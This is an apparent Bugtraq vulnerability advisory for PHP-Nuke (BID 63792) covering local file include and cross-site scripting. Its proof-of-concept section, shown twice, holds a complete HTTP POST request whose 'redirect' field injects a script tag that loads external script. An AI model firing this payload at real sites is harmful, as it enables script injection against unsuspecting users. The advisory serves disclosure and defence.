PHP-Nuke Local File Include and Cross Site Scripting Vulnerabilities
BID:63792
Info
PHP-Nuke Local File Include and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 63792 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 18 2013 12:00AM |
| Updated: | Nov 18 2013 12:00AM |
| Credit: | Sojobo dev team |
| Vulnerable: | |
| Not Vulnerable: | |
Exploit / POC
PHP-Nuke Local File Include and Cross Site Scripting Vulnerabilities
Attackers can exploit these issues through a browser. To exploit a cross-site scripting issue, attackers must entice an unsuspecting user to follow a malicious URI.
The following example request is available:
POST /html/modules.php?name=Your_Account&op=logout HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/html/index.php
Cookie: lang=english;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
redirect="><script src="http://www.example.com/xss.html"; />
Attackers can exploit these issues through a browser. To exploit a cross-site scripting issue, attackers must entice an unsuspecting user to follow a malicious URI.
The following example request is available:
POST /html/modules.php?name=Your_Account&op=logout HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/html/index.php
Cookie: lang=english;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
redirect="><script src="http://www.example.com/xss.html"; />
References
PHP-Nuke Local File Include and Cross Site Scripting Vulnerabilities
References:
References:
- PHP-Nuke Homepage (PHP-Nuke)